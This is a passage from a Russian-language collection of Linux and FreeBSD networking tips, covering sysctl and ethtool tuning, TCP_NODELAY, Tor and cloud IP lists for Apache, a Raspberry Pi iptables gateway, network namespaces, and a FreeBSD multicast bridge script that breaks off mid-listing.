   perf trace --no-syscalls --event 'net:*' ping globo.com -c1 > /dev/null




Что, Почему и Как - сеть и  sysctl параметры

Кольцевой буфер (Ring Buffer) - rx, tx

Что: драйвер очереди приёма/отправки одной или нескольких очередей с
фиксированным размером, обычно реализованный как FIFO, находится в ОЗУ

Почему: буфер для плавного прима соединений без их отбрасывания. Возможно, вам
понадобится увеличить эти очереди, когда вы увидите сбросы (drops) или
переполнения, то есть, если поступает больше пакетов, чем ядро может
обработать. Побочным эффектом от увеличения буфера может стать увеличение задержки.

Как:

Команда проверки: 

   ethtool -g ethX

Как изменить: 

   ethtool -G ethX rx значение tx значение

Как мониторить: 

   ethtool -S ethX | grep -e "err" -e "drop" -e "over" -e "miss" -e "timeout" -e "reset" -e "restar" -e "collis" -e "over" | grep -v "\: 0"
 
Слияние прерываний (Interrupt Coalescence - IC) - rx-usecs, tx-usecs,
rx-frames, tx-frames (аппаратные IRQ)

Что: количество микросекунд / кадров, ожидающих перед поднятием hard IRQ, с
точки зрения сетевого адаптера это будет пакеты данных DMA до этого тайм-аута /
количества кадров

Почему: сокращение использования CPUs, аппаратных IRQ, может увеличить
пропускную способность за счет задержки.

Как:

Команда проверки:

   ethtool -c ethX

Как изменить:

   ethtool -C ethX rx-usecs value tx-usecs value

Как мониторить:

   cat /proc/interrupts
  

Объединение прерываний (soft IRQ) и   управления сетевыми очередями  QDisc
входящих пакетов (ingress).


Что: максимальное число микросекунд в одном NAPI
(https://en.wikipedia.org/wiki/New_API) цикле опроса. Опрос завершится когда,
либо `netdev_budget_usecs` истечёт по временя цикла опроса или количество
обработанных пакетов достигнет `netdev_budget`.

Почему: вместо того чтобы обрабатывать кучу softIRQ, драйвер сохраняет данные в
пуле (polling data); следите за состояниями `dropped` (число пакетов,
отброшенных из-за того, что `netdev_max_backlog` был превышен) и  `squeezed`
(число раз когда ksoftirq превысил `netdev_budget`).


Как:

Команда проверки:

   sysctl net.core.netdev_budget_usecs

Как изменить:

   sysctl -w net.core.netdev_budget_usecs value

Как мониторить:

   cat /proc/net/softnet_stat

или скриптом.


Что: `netdev_budget` максимальное количество пакетов, взятых со всех
интерфейсов за один цикл опроса (NAPI poll). В одном цикле опроса интерфейсы,
которые зарегистрированы для опроса, зондируются круговым способом. Кроме того,
цикл опроса не может превышать `netdev_budget_usecs` микросекунд, даже если
`netdev_budget` не был исчерпан.


Как:

Команда проверки:

   sysctl net.core.netdev_budget

Как изменить:

   sysctl -w net.core.netdev_budget value

Как мониторить:

cat /proc/net/softnet_stat

или скриптом.


Что: `dev_weight` максимальное количество пакетов, которое ядро может
обработать при прерывании NAPI, это переменная для каждого процессора. Для
драйверов, которые поддерживают LRO или GRO_HW, аппаратно агрегированный пакет
считается в этом пакете одним.

Как:

Команда проверки:

   sysctl net.core.dev_weight

Как изменить:

  sysctl -w net.core.dev_weight value

Как мониторить:

   cat /proc/net/softnet_stat 

или скриптом.


Что: `netdev_max_backlog` максимальное количество пакетов, находящихся в
очереди на стороне INPUT (входной qdisc_), когда интерфейс получает пакеты
быстрее, чем ядро может их обработать.

Как:

Команда проверки:

   sysctl net.core.netdev_max_backlog

Как изменить:

   sysctl -w net.core.netdev_max_backlog value

Как мониторить:

   cat /proc/net/softnet_stat

или скриптом.



Исходящие QDisc - txqueuelen (длина очереди tx) и default_qdisc


Что: `txqueuelen` максимальное количество пакетов, поставленных в очередь на стороне вывода.

Почему: buffer/queue появление разрывов соединений, а также примением контроля трафика
tc (traffic control).

Как:

Команда проверки:

   ifconfig ethX

Как изменить:

   ifconfig ethX txqueuelen value

Как мониторить:

   ip -s link

 
Что: `default_qdisc` дисциплина очереди по умолчанию, используемая для сетевых устройств.

Почему: Каждое приложение имеет разную нагрузку и требует контроля трафика, оно
также используется для борьбы с  излишней сетевой буферизацией bufferbloat.

Как:

Команда проверки:

   sysctl net.core.default_qdisc


Как изменить: 

   sysctl -w net.core.default_qdisc value

Как мониторить:

   tc -s qdisc ls dev ethX


Буферы/очереди чтения и записи (TCP Read and Write Buffers/Queues)

Что: `tcp_rmem` - min (минимальный размер доступный при создании сокета),
default (начальный размер), max (максимальный размер) - максимальный размер
приёмного буфера TCP.

Почему: буфер/очередь приложения для записи/отправки данных. Понять последствия
может помочь статья https://blog.cloudflare.com/the-story-of-one-latency-spike/

Как:

Команда проверки:

   sysctl net.ipv4.tcp_rmem

Как изменить: 

   sysctl -w net.ipv4.tcp_rmem="min default max"

когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)

Как мониторить:

   cat /proc/net/sockstat


Что: `tcp_wmem` - min (минимальный размер доступный при создании сокета),
default (начальный размер), max (максимальный размер) - размер буфера отправки,
используемого сокетами TCP.

Как:

Команда проверки: 

   sysctl net.ipv4.tcp_wmem


Как изменить:

   sysctl -w net.ipv4.tcp_wmem="min default max"

когда меняете значение по умолчанию, не забудьте перезагрузить приложения в
пользовательском окружении (т.е. ваш веб-сервер, nginx, и т.п.)

Как мониторить:

   cat /proc/net/sockstat



Что: `tcp_moderate_rcvbuf` - если установлено, TCP выполняет автонастройку
приёмного буфера, пытаясь автоматически определить размер буфера.

Как:

Команда проверки:

  sysctl net.ipv4.tcp_moderate_rcvbuf

Как изменить:

   sysctl -w net.ipv4.tcp_moderate_rcvbuf value

Как мониторить:

   cat /proc/net/sockstat


TCP FSM и алгоритм перегрузки (Honorable mentions - TCP FSM and congestion algorithm)

  • `sysctl net.core.somaxconn` - обеспечивает верхний предел значения параметра backlog, передаваемого в функцию `listen()` (https://eklitzke.org/how-tcp-sockets-work), известный пользователям как `SOMAXCONN`. Если вы меняете это значение, вы также должны изменить в своём приложении совместимые значения (т.е. nginx backlog).
  • `cat /proc/sys/net/ipv4/tcp_fin_timeout` - указывает количество секунд ожидания окончательного пакета FIN, прежде чем сокет будет принудительно закрыт. Это строго является нарушением спецификации TCP, но требуется для предотвращения атак типа "отказ в обслуживании".
  • `cat /proc/sys/net/ipv4/tcp_available_congestion_control` - показывает доступные варианты управления перегрузкой, которые зарегистрированы.
  • `cat /proc/sys/net/ipv4/tcp_congestion_control` - устанавливает алгоритм управления перегрузкой, используемое для новых соединений.
  • `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` - задаёт максимальное число запросов подключения в очереди, которые еще не получили подтверждения от подключающегося клиента; если это число будет превышено, ядро начнёт отбрасывать запросы.
  • `cat /proc/sys/net/ipv4/tcp_syncookies` - включён/выключен [syn cookies](https://en.wikipedia.org/wiki/SYN_cookies), полезен для защиты от syn flood атак (https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/).
  • `cat /proc/sys/net/ipv4/tcp_slow_start_after_idle` - включён/выключен медленный старт tcp. Как мониторить: общая сводка netstat -atn | awk '/tcp/ {print $6}' | sort | uniq -c счётчики по определённому состоянию: `established`, `syn-sent`, `syn-recv`, `fin-wait-1`, `fin-wait-2`, `time-wait`, `closed`, `close-wait`, `last-ack`, `listening`, `closing`: ss -neopt state time-wait | wc -l` tcp статистика netstat -st более читаемая tcp статистика nstat -a обобщённая статистика сокетов cat /proc/net/sockstat детальная статистика, описание полей смотрите: https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt cat /proc/net/tcp `ListenOverflows` и `ListenDrops` - важные поля для наблюдения cat /proc/net/netstat читаемый вариант /proc/net/netstat (https://sa-chernomor.livejournal.com/9858.html) cat /proc/net/netstat | awk '(f==0) { i=1; while ( i<=NF) {n[i] = $i; i++ }; f=1; next} \ (f==1){ i=2; while ( i<=NF){ printf "%s = %d\n", n[i], $i; i++}; f=0} ' | grep -v "= 0 Источник: https://commons.wikimedia.or/wiki/File:Tcp_state_diagram_fixed_new.svg Сетевые утилиты для тестирования и мониторинга
  • iperf3 (https://iperf.fr/) - пропускная способность сети
  • vegeta (https://github.com/tsenart/vegeta) - нагрузочное тестирование HTTP
  • netdata (https://github.com/firehol/netdata) - система распределённого мониторинга производительности и работоспособности в реальном времени Рекомендации
  • https://www.kernel.org/doc/Documentation/sysctl/net.txt
  • https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt
  • https://www.kernel.org/doc/Documentation/networking/scaling.txt
  • https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt
  • https://www.kernel.org/doc/Documentation/networking/multiqueue.txt
  • http://man7.org/linux/man-pages/man7/tcp.7.html
  • http://man7.org/linux/man-pages/man8/tc.8.html
  • http://www.ece.virginia.edu/cheetah/documents/papers/TCPlinux.pdf
  • https://netdevconf.org/1.2/papers/bbr-netdev-1.2.new.new.pdf
  • https://blog.cloudflare.com/how-to-receive-a-million-packets/
  • https://blog.cloudflare.com/how-to-achieve-low-latency/
  • https://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/
  • https://www.youtube.com/watch?v=6Fl1rsxk4JQ
  • https://oxnz.github.io/2016/05/03/performance-tuning-networking/
  • https://www.intel.com/content/dam/www/public/us/en/documents/reference-guides/xl710-x710-performance-tuning-linux-guide.pdf
  • https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf
  • https://medium.com/@matteocroce/linux-and-freebsd-networking-cbadcdb15ddd
  • https://blogs.technet.microsoft.com/networking/2009/08/12/where-do-resets-come-from-no-the-stork-does-not-bring-them/
  • https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/multi-core-processor-based-linux-paper.pdf
  • http://syuu.dokukino.com/2013/05/linux-kernel-features-for-high-speed.html
  • https://www.bufferbloat.net/projects/codel/wiki/Best_practices_for_benchmarking_Codel_and_FQ_Codel/
  • https://software.intel.com/en-us/articles/setting-up-intel-ethernet-flow-director
  • https://courses.engr.illinois.edu/cs423/sp2014/Lectures/LinuxDriver.pdf
  • https://www.coverfire.com/articles/queueing-in-the-linux-network-stack/
  • http://vger.kernel.org/~davem/skb.html
  • https://www.missoulapubliclibrary.org/ftp/LinuxJournal/LJ13-07.pdf
  • https://opensourceforu.com/2016/10/network-performance-monitoring/
  • https://www.yumpu.com/en/document/view/55400902/an-adventure-of-analysis-and-optimisation-of-the-linux-networking-stack
  • https://lwn.net/Articles/616241/
  • https://medium.com/@duhroach/tools-to-profile-networking-performance-3141870d5233
  • https://www.lmax.com/blog/staff-blogs/2016/05/06/navigating-linux-kernel-network-stack-receive-path/
  • https://es.net/host-tuning/100g-tuning/
  • http://tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm
  • http://veithen.github.io/2014/01/01/how-tcp-backlog-works-in-linux.html
  • https://people.cs.clemson.edu/~westall/853/tcpperf.pdf
  • http://tldp.org/HOWTO/Traffic-Control-HOWTO/classless-qdiscs.html
  • https://es.net/assets/Papers-and-Publications/100G-Tuning-TechEx2016.tierney.pdf
  • https://www.kernel.org/doc/ols/2009/ols2009-pages-169-184.pdf
  • https://devcentral.f5.com/articles/the-send-buffer-in-depth-21845
  • http://packetbomb.com/understanding-throughput-and-tcp-windows/
  • https://www.speedguide.net/bdp.php
  • https://www.switch.ch/network/tools/tcp_throughput/
  • https://www.ibm.com/support/knowledgecenter/en/SSQPD3_2.6.0/com.ibm.wllm.doc/usingethtoolrates.html
  • https://blog.tsunanet.net/2011/03/out-of-socket-memory.html
  • https://unix.stackexchange.com/questions/12985/how-to-check-rx-ring-max-backlog-and-max-syn-backlog-size
  • https://serverfault.com/questions/498245/how-to-reduce-number-of-time-wait-processes
  • https://unix.stackexchange.com/questions/419518/how-to-tell-how-much-memory-tcp-buffers-are-actually-using
  • https://eklitzke.org/how-tcp-sockets-work
  • https://www.linux.com/learn/intro-to-linux/2017/7/introduction-ss-command
  • https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • https://loicpefferkorn.net/2016/03/linux-network-metrics-why-you-should-use-nstat-instead-of-netstat/
  • http://assimilationsystems.com/2015/12/29/bufferbloat-network-best-practice/
  •  
    ----* Актуальность опции TCP_NODELAY для распределённых приложений (доп. ссылка 1)   [комментарии]
     
    Один из инженеров Amazon Web Services (AWS) разобрал заблуждения, связанные
    с повышением эффективности передачи мелких сообщений при  использовании
    алгоритма Нейгла, применяемого по умолчанию в TCP/IP стеке.
    
    Рекомендации сводятся к отключению по умолчанию алгоритма Нейгла через
    выставление опции TCP_NODELAY для сетевых сокетов при помощи вызова  setsockopt.
    
       setsockopt(descriptor, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
    
    
    Алгоритм Нейгла позволяет агрегировать мелкие сообщения для снижения трафика  -
    приостанавливает отправку новых сегментов TCP до получения подтверждения о
    приёме ранее отправленных данных. Например, без применения агрегирования при
    отправке 1 байта, дополнительно отправляется 40 байтов с заголовками пакета. В
    современных условиях использование  алгоритма Нейгла приводит к заметному
    возрастанию задержек, неприемлемых для интерактивных и распределённых приложений.
    
    Приводится три основных довода в пользу использования по умолчанию опции
    TCP_NODELAY, отключающей алгоритм Нейгла:
    
    1. Несовместимость алгоритма Нейгла  с оптимизацией "delayed ACK", при которой
    ACK-ответ направляется не сразу, а после получения ответных данных. Проблема в
    том, что в алгоритме Нейгла поступление ACK-пакета является сигналом для
    отправки агрегированных данных, а если ACK-пакет не поступил, отправка
    выполняется при наступлении таймаута. Таким образом, возникает замкнутый круг и
    ACK-пакет как сигнал не работает, так как другая сторона не получает данные
    из-за их накопления на стороне отправителя, а отправитель не отправляет их до
    таймаута, так как не получает ACK-пакет.
    
    2. RFC для алгоритма Нейгла принят в 1984 году и он не рассчитан на параметры
    современных высокоскоростных сетей и серверов в датацентрах, что приводит к
    возникновению проблем с отзывчивостью. Задержка между отправкой запроса и
    получением ответа (RTT) в современных сетях составляет 0.5 мс + несколько
    миллисекунд при обмене данными между датацентрами в одном регионе + до сотни
    миллисекунд при отправке по всему миру. За эти миллисекунды современный сервер
    способен выполнить огромный объём работы.
    
    3. Современные распределённые приложения давно не отправляют единичные байты
    данных, а агрегирование мелких данных обычно реализуется на уровне приложения.
    Даже если размер полезных данных составляет 1 байт, то, как правило, фактически
    размер отправляемой информации существенно возрастает после применения
    сериализации,  использования API-обвязок    в JSON и отправки с использованием
    TLS-шифрования. Экономия 40 байтов становится не столь актуальной.
    
     
    ----* Диапазоны IP-адресов облачных сервисов Amazon, Google, OVH, DigitalOcean и Microsoft (доп. ссылка 1)   [комментарии]
     
    Иногда на сервере возникает необходимость динамического определения подключения
    пользователя, транзитно использующего окружение в одном из арендуемых облачных сервисов.
    
    Проект cloud-ranges поддерживает актуальную БД диапазонов адресов различных
    облачных операторов, которую можно загрузить со страницы
    
       https://github.com/pry0cc/cloud-ranges/tree/master/companies
    
    
    Также могут оказаться полезными база IP в привязке к странам: 
    
       ftp://ftp.ripe.net/ripe/dbase/split/ripe.db.inetnum.gz
    
    и базы адресов выходных узлов Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=IP_текущего хоста
       https://www.dan.me.uk/torlist/ 
       https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv 
       https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv
    
    
    Преобразовать указанные списки для mod_geo или mod_geo2 можно простым скриптом, например,
    
    
    curl
    https://raw.githubusercontent.com/Machou/tor-ip-list/master/Tor_ip_list_ALL.csv https://torstatus.rueckgr.at/ip_list_all.php/Tor_ip_list_ALL.csv
     | sort| uniq | grep
    -v "^#" |grep -E '^[0-9]+\.[0-9]+\.[0-9]+' | sed 's/$/ TT/' > /etc/httpd/conf/tor_db.txt
    
    После включения mod_geo2 в Apache
     
       LoadModule geo2_module        /usr/lib64/httpd/modules/mod_geo2.so
       <IfModule geo2_module>
           GEOTable /etc/httpd/conf/tor_db.txt
           GEOActive Off
       </IfModule>
    
    в скриптах можно узнавать факт подключения через облачных провайдеров или Tor
    анализируя переменную окружения "HTTP_IP_GEO" (в примере выше для адресов Tor
    будет выставляться значение "TT").
    
     
    ----* Домашний шлюз на Raspberry Pi   Автор: Павел Самсонов  [комментарии]
     
    Нам понадобится: Raspberry Pi (у меня Raspberry Pi 1 модель B), вторая сетевая
    карта с интерфейсом USB (например, DLink DUB-E100) и
    SD карта с записанным образом Raspbian.
    
    Сразу скажу, что в Raspbian Wheezy ядро собрано без опций
    
       CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
       CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
    
    и будут проблемы с некоторыми сайтами. Придется позже пересобрать ядро с этими опциями.
    
    
    Итак, установим пакеты:
    
       sudo apt-get install ntp # Нам нужно точное время
       sudo update-rc.d ntp enable
       sudo service ntp start
       sudo apt-get install dnsmasq # Роутер будет резолвером DNS для локальной сети
       sudo update-rc.d dnsmasq enable
       sudo apt-get dnsmasq start
    
    Настроим локальную сеть, для этого отредактируем файл /etc/network/interfaces:
    
       auto lo
       iface lo inet loopback
       auto eth0
       iface eth0 inet  static
    	address 192.168.4.1
    	netmask 255.255.255.0
    
    У нас eth0 - локальная сеть, eth1 (DLink) будет для Internet.
    
    Теперь установим пакеты для pppoe:
    
       sudo apt-get install pppoe pppoeconf
    
    Настроим интернет соединение pppoe с помощью мастера pppoeconf:
    
       sudo pppoeconf
    
    Теперь осталось настроить firewall. Во-первых включим маршрутизацию:
    отредактируем файл /etc/sysctl.conf и установим в нем
    
       net.ipv4.ip_forward=1
    
    и выполним
    
       sudo sysctl net.ipv4.ip_forward=1
    
    Возьмем за основу firewall файл /etc/firewall:
    
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *nat
       :PREROUTING ACCEPT [1:32]
       :INPUT ACCEPT [0:0]
       :OUTPUT ACCEPT [2:307]
       :POSTROUTING ACCEPT [1:240]
       -A POSTROUTING -o ppp0 -j MASQUERADE
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *filter
       :INPUT ACCEPT [0:0]
       :FORWARD ACCEPT [0:0]
       :OUTPUT ACCEPT [0:0]
       :TINYWALL-FORWARD - [0:0]
       :TINYWALL-INPUT - [0:0]
       :TINYWALL-OUTPUT - [0:0]
       -A INPUT -m state --state INVALID -j LOG --log-prefix    "CHAIN=TINYWALL-INVALID-INPUT
       -A INPUT -m state --state INVALID -j DROP
       -A INPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-INPUT " #Это необязательная строка
       -A INPUT -p icmp -j ACCEPT
       -A INPUT -s 192.168.4.0/24 -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A INPUT -s 127.0.0.1/32 -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A INPUT -s 192.168.4.0/24 -p tcp -m tcp --dport 22 -m state --state NEW -j ACCEPT
       -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A INPUT -j TINYWALL-INPUT
       -A INPUT -j LOG --log-prefix "CHAIN=TINYWALL-INPUT-REJECT "
       -A INPUT -j REJECT --reject-with icmp-admin-prohibited
       -A FORWARD -m state --state INVALID -j LOG --log-prefix "CHAIN=TINYWALL-INVALID-FORW "
       -A FORWARD -m state --state INVALID -j DROP
       -A FORWARD -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-FORW "
       -A FORWARD -p icmp -j ACCEPT
       -A FORWARD -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-FORW " #Это необязательная строка
       -A FORWARD -s 192.168.4.0/24 -p udp -m udp --dport 53 -m state  --state NEW -j ACCEPT
       -A FORWARD -s 192.168.4.0/24 -m state --state NEW -j ACCEPT
       -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A FORWARD -j TINYWALL-FORWARD
       -A FORWARD -j LOG --log-prefix "CHAIN=TINYWALL-FORW-REJECT "
       -A FORWARD -j REJECT --reject-with icmp-admin-prohibited
       -A OUTPUT -m state --state INVALID -j DROP
       -A OUTPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-OUTPUT "
       -A OUTPUT -p icmp -j ACCEPT
       -A OUTPUT -m state --state NEW -j LOG --log-prefix "CHAIN=TINYWALL-NEW-OUTPUT " #Это необязательная строка
       -A OUTPUT -p udp -m udp --dport 53 -m state --state NEW -j ACCEPT
       -A OUTPUT -p udp -m udp --sport 53 -m state --state NEW -j ACCEPT
       -A OUTPUT -p udp -m udp --dport 123 -m state --state NEW -j ACCEPT
       -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
       -A OUTPUT -j TINYWALL-OUTPUT
       -A OUTPUT -j LOG --log-prefix "CHAIN=TINYWALL-OUTPUT-REJECT "
       -A OUTPUT -j REJECT --reject-with icmp-admin-prohibited
       -A FORWARD -p tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 1492
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
       # Generated by iptables-save v1.4.14 on Thu Sep 15 16:51:15 2016
       *mangle
       :PREROUTING ACCEPT [2857:1106716]
       :INPUT ACCEPT [2787:1101011]
       :FORWARD ACCEPT [70:5705]
       :OUTPUT ACCEPT [2005:212971]
       :POSTROUTING ACCEPT [2163:232874]
       COMMIT
       # Completed on Thu Sep 15 16:51:15 2016
    
    Запишем в /etc/rc.local строчку
    
       iptables-restore < /etc/firewall
    
    Шлюз готов, можно использовать 192.168.4.1 как шлюз и DNS сервер.
    
    Напоследок текст скрипта log-analyzer:
    
       #!/bin/bash
       while read string
       do
           echo ""
           export $string 2>/dev/null
           HSRC=`host $SRC 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
           HDST=`host $DST 2>/dev/null | grep "domain name pointer" | awk '{ print $5 }'`
           echo $PROTO | grep "^[[:digit:]]*$" > /dev/null && unset DPT
           PROTO=`grep "[[:space:]]$PROTO[[:space:]]" /etc/protocols | awk '{ print $1 }'`
           HPROTO=`grep -i "[[:space:]]$DPT/$PROTO" /etc/services | sed 's/\\t/\\ /g' | sed 's/\\ \\ /\\ /g'`
           HSPROTO=`grep -i "[[:space:]]$SPT/$PROTO" /etc/services | sed 's/\\t/\\ /g'| sed 's/\\ \\ /\\ /g'`
           HSRC=${HSRC:-$SRC}
           HDST=${HDST:-$DST}
           HPROTO=${HPROTO:-"$DPT/$PROTO"}
           HSPROTO=${HSPROTO:-"$SPT/$PROTO"}
           set $string
           echo "$CHAIN $HDST ($HPROTO) <=== $HSRC ($HSPROTO) /$1 $2 $3/"
       done
    
    Его можно запустить командой:
    
       sudo tail -n 50 -f /var/log/syslog | grep "TINYWALL" | /<path>/log-analyzer
    
     
    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru (194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Multicast во FreeBSD без igmpproxy (доп. ссылка 1) (доп. ссылка 2)   Автор: nuclight  [комментарии]
     
    Иван Рожук опубликовал скрипт mcastbr2.sh для проброса multicast через шлюз
    на базе FreeBSD штатными средствами netgraph, без использования неработающих у
    многих igmpproxy и mrouted.
    
       #!/bin/sh
    
       # Copyright (c) 2011 Rozhuk Ivan <rozhuk.im@gmail.com>
       # All rights reserved.
       # 
       # Subject to the following obligations and disclaimer of warranty, use and
       # redistribution of this software, in source or object code forms, with or
       # without modifications are expressly permitted by Whistle Communications;
       # provided, however, that:
       # 1. Any and all reproductions of the source or object code must include the
       #    copyright notice above and the following disclaimer of warranties; and
       # 2. No rights are granted, in any manner or form, to use Whistle
       #    Communications, Inc. trademarks, including the mark "WHISTLE
       #    COMMUNICATIONS" on advertising, endorsements, or otherwise except as
       #    such appears in the above copyright notice or in the software.
       # 
       # THIS SOFTWARE IS BEING PROVIDED BY WHISTLE COMMUNICATIONS "AS IS", AND
       # TO THE MAXIMUM EXTENT PERMITTED BY LAW, WHISTLE COMMUNICATIONS MAKES NO
       # REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, REGARDING THIS SOFTWARE,
       # INCLUDING WITHOUT LIMITATION, ANY AND ALL IMPLIED WARRANTIES OF
       # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT.
       # WHISTLE COMMUNICATIONS DOES NOT WARRANT, GUARANTEE, OR MAKE ANY
       # REPRESENTATIONS REGARDING THE USE OF, OR THE RESULTS OF THE USE OF THIS
       # SOFTWARE IN TERMS OF ITS CORRECTNESS, ACCURACY, RELIABILITY OR OTHERWISE.
       # IN NO EVENT SHALL WHISTLE COMMUNICATIONS BE LIABLE FOR ANY DAMAGES
       # RESULTING FROM OR ARISING OUT OF ANY USE OF THIS SOFTWARE, INCLUDING
       # WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
       # PUNITIVE, OR CONSEQUENTIAL DAMAGES, PROCUREMENT OF SUBSTITUTE GOODS OR
       # SERVICES, LOSS OF USE, DATA OR PROFITS, HOWEVER CAUSED AND UNDER ANY
       # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
       # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
       # THIS SOFTWARE, EVEN IF WHISTLE COMMUNICATIONS IS ADVISED OF THE POSSIBILITY
       # OF SUCH DAMAGE.
       #
       # Author: Rozhuk Ivan <rozhuk.im@gmail.com>
       #
       # $FreeBSD: src/sys/netgraph/ng_l2ccp.c,v 1.0.0.1 2010/09/19 08:13:06 kensmith Exp $
    
    
       # This script create bridge between two network interfaces
       # downstream - network with clients
       # upstream - network with multicast
       # downstream <-IGMP-> upstream
       # downstream <-UDP<- upstream
       # only packets with multicast dst mac addr forwarded trouth bridge and (!) not pass to network stack
    
    
    
       IF_UPSTREAM="$2"
       IF_DOWNSTREAM="$3"
       BR_NAME="${IF_UPSTREAM}-${IF_DOWNSTREAM}-br"
       PATTERN_MCAST_IGMP="ether[0] & 1 = 1 and (ether[0:4] != 0xffffffff or ether[4:2] != 0xffff) and ip[9] = 2"
       PATTERN_MCAST_IGMP_UDP="ether[0] & 1 = 1 and (ether[0:4] != 0xffffffff or ether[4:2] != 0xffff) and (ip[9] = 17 or ip[9] = 2)"
       # allways NOT MATCH
       BPFPROG_PASSTOUTH="bpf_prog_len=1 bpf_prog=[ { code=6 jt=0 jf=0 k=0 } ]"
    
    
    
    
       usage_msg()
       {
       echo "usage: start|stop upstreamIF downstreamIF1"
       echo "This create bridge beetwen two IFs for IGMP, and UDP from upstreamIF to downstreamIF1"
       }
    
    
       if [ -z "${IF_UPSTREAM}" -o -z "${IF_DOWNSTREAM}" ]; then
       usage_msg
       return 1
       fi
       if ! ifconfig "$IF_UPSTREAM" > /dev/null 2>&1 ; then
